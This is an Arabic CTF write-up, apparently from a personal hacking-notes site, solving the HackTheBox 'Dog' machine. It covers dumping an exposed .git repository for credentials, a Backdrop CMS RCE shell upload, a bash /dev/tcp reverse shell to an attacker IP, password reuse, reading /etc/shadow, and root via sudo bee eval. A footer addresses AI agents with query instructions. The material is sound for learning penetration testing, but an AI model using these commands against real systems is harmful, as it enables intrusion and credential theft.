> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/dog-hackthebox-writeup.md).

# تقرير HackTheBox عن Dog

{% embed url="<https://app.hackthebox.com/machines/Dog>" %}

{% hint style="warning" %}
**المهارات:**

* استخراج المعلومات من مجلد .git (تسرّب المعلومات)
* تنفيذ تعليمات برمجية عن بُعد بعد المصادقة (CMS Backdrop)
* التحوّل المحوري (إعادة استخدام كلمة المرور)
* ثنائية bee عبر sudo (تنفيذ كود PHP) (تصعيد الامتيازات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/e34d866f39b7152264e8a2e0e7a3b915c03650ab" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/97d407ac0b383f0c54aaa79e8edf4186dc900ad0" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.58 -oG allPorts
```

<figure><img src="/files/331894b85346a5dcf2f518c2e3dd6d2cd19c2d44" alt=""><figcaption></figcaption></figure>

**فحص إصدار المنافذ باستخدام Nmap 22.80:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p22,80 10.10.11.58 -oN targeted 
```

<figure><img src="/files/dc8c9ede5f82c18fc131a48dc0584b63f35de0f8" alt=""><figcaption></figcaption></figure>

### المنفذ 80 - HTTP

<figure><img src="/files/b4af40fc3bbe4c9e4ef66797c567b4ff1dfc12ec" alt=""><figcaption></figcaption></figure>

نكتشف ملفًا **.git** دليل، مما يشير إلى احتمال وجود مستودع Git متاح للعامة. يستخدم الموقع نظام إدارة المحتوى **Backdrop** نظام إدارة المحتوى.

<figure><img src="/files/c184aebec32ec226ce2a003b78007812e35d2c7a" alt=""><figcaption></figcaption></figure>

**الاستكشاف باستخدام Gobuster**

```bash
gobuster dir -u http://10.10.11.58 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

نجد عدة أدلة مثيرة للاهتمام، بما في ذلك **.git**.

<figure><img src="/files/d760594db5a6db75173ec06a8693be2eb4566b2a" alt=""><figcaption></figcaption></figure>

**تفريغ مستودع Git**

نسترجع محتويات المستودع باستخدام:

```git
git-dumper http://10.10.11.58/.git .git
```

<figure><img src="/files/87f92820ae0393dec90adc4f753213b2307ec770" alt=""><figcaption></figcaption></figure>

وجدنا **settings.php** ملف يحتوي على كلمة مرور:

<figure><img src="/files/33687ac7a5de40b0694a0888f2deeb71b2f8cf68" alt=""><figcaption></figcaption></figure>

نبحث عن رسائل البريد الإلكتروني المحفوظة باستخدام:

```bash
find .git -type f -exec grep -E '@dog' {} +
```

نعثر على البريد الإلكتروني التالي: **<tiffany@dog.htb>**.

<figure><img src="/files/108e9517dc5c0b96d23a0c73f535e842b876efca" alt=""><figcaption></figcaption></figure>

## **استغلال Backdrop CMS (RCE)**

نستخدم بيانات الاعتماد التي وجدناها للاتصال بنظام إدارة المحتوى.

<figure><img src="/files/c5745293e798fd9b6ce8817aacc3d95014c10a5c" alt=""><figcaption></figcaption></figure>

**البحث عن الثغرات**

مع **searchsploit**، نحدّد ثغرة RCE:

```bash
searchsploit -m php/webapps/52021.py
```

<figure><img src="/files/2fbcea31b94599bdb48f1c5f8d6dd5439cf12f4d" alt=""><figcaption></figcaption></figure>

نشغّل الاستغلال:

```bash
python3 52021.py http://10.10.11.58
```

هذا يُنشئ ملف ZIP يحتوي على صدفة PHP.

<figure><img src="/files/5e0e3d6eb0f38259f3fa9ec52b23eeccbf1dd49b" alt=""><figcaption></figcaption></figure>

ثم نقوم بضغط الصدفة إلى **tar.gz**:

```bash
tar -czvf shell.tar.gz shell
```

<figure><img src="/files/3f2bb83b047c003b45dafb79ec0527b7662b9d37" alt=""><figcaption></figcaption></figure>

نحقنه عبر **admin / installer / manual**.

<figure><img src="/files/f761ea3e9dcffc5c2a1a7a145df273784573a0e9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7bc64b5faa2e9c398dfcc4335aabec4bd7695e98" alt=""><figcaption></figcaption></figure>

**تنفيذ الطلبات**

نعثر على مجلد **modules/cmd/** التي تحتوي على **cmd.php**

<figure><img src="/files/de5bef07051c31cd74083fa99f53ddc49556d564" alt=""><figcaption></figcaption></figure>

مما يسمح لنا بتنفيذ الأوامر:

```bash
ifconfig 
```

<figure><img src="/files/7ac85a881943e933e3f6219282317f0974df40d3" alt=""><figcaption></figcaption></figure>

### **صدفة عكسية لـ Backdrop CMS**

نفتح مستمعًا على المنفذ 443:

```bash
nc -nlvp 443 
```

نحقن حمولة:

```bash
bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1"
```

<figure><img src="/files/5c4872f6eee78bd4f736c234bc3927f7810bc70e" alt=""><figcaption></figcaption></figure>

بعد الاتصال، نثبّت الصدفة:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## **تصعيد الامتيازات**

### **التحوّل إلى المستخدم johncusack**

نسرد المستخدمين الذين لديهم صدفة Bash صالحة:

```bash
cat /etc/passwd | grep "/bash"
```

نجد **root, jobert and johncusack**.

<figure><img src="/files/1efe1001b0f9dbb6b0f60e31dfa83dadd5a474d6" alt=""><figcaption></figcaption></figure>

نحاول إعادة استخدام بيانات الاعتماد ونحصل على الوصول باستخدام:

```bash
su johncusack
BackDropJ2024DS2024
```

<figure><img src="/files/e3285f475590fcefe3f7265d554646cabb45e334" alt=""><figcaption></figcaption></figure>

### الراية user.txt :)

<figure><img src="/files/558c94e6afd0f0f86b1a64f05a29b8837a147489" alt="" width="557"><figcaption></figcaption></figure>

### **تصعيد الامتيازات باستخدام ثنائية Bee**

نتحقق من امتيازات sudo:

```bash
sudo -l
```

يمكننا تشغيل **/usr/local/bin/bee** بصفتِه الجذر.

<figure><img src="/files/6859fa91827423a5af9dd9e7c0e65a8926cce9a4" alt=""><figcaption></figcaption></figure>

**تحليل Bee**

{% hint style="info" %}
Bee هي أداة إدارية لـ **Backdrop CMS**، مشابهة لـ **Drush** في Drupal. وهي تسمح بتنفيذ أوامر متنوعة.
{% endhint %}

`الاستخدام: bee [global-options] [options] [arguments]`

<figure><img src="/files/1b9f96b6af1f711d99bb71d5942366c53780b7be" alt=""><figcaption></figcaption></figure>

نحدّد **eval** الخيار، الذي يسمح بتنفيذ كود PHP عشوائي.

<figure><img src="/files/bb24f70ff3ca797339214dfb7ec2a7c6d417c4e2" alt=""><figcaption></figcaption></figure>

**قراءة `/etc/shadow`**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'echo shell_exec("cat /etc/shadow 2>&1");'
```

{% endcode %}

<figure><img src="/files/67b41c4955d70fa92953ac995b5849fbdacf8eb9" alt=""><figcaption></figcaption></figure>

**تم الحصول على صدفة الجذر**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'shell_exec("/bin/bash -p");'
```

{% endcode %}

<figure><img src="/files/53b7af0287be2e6db296bd1f165be3270e1c7081" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2f8b15c81a2b52c00d0f91a00d1fb3ec34580988" alt="" width="398"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/dog-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
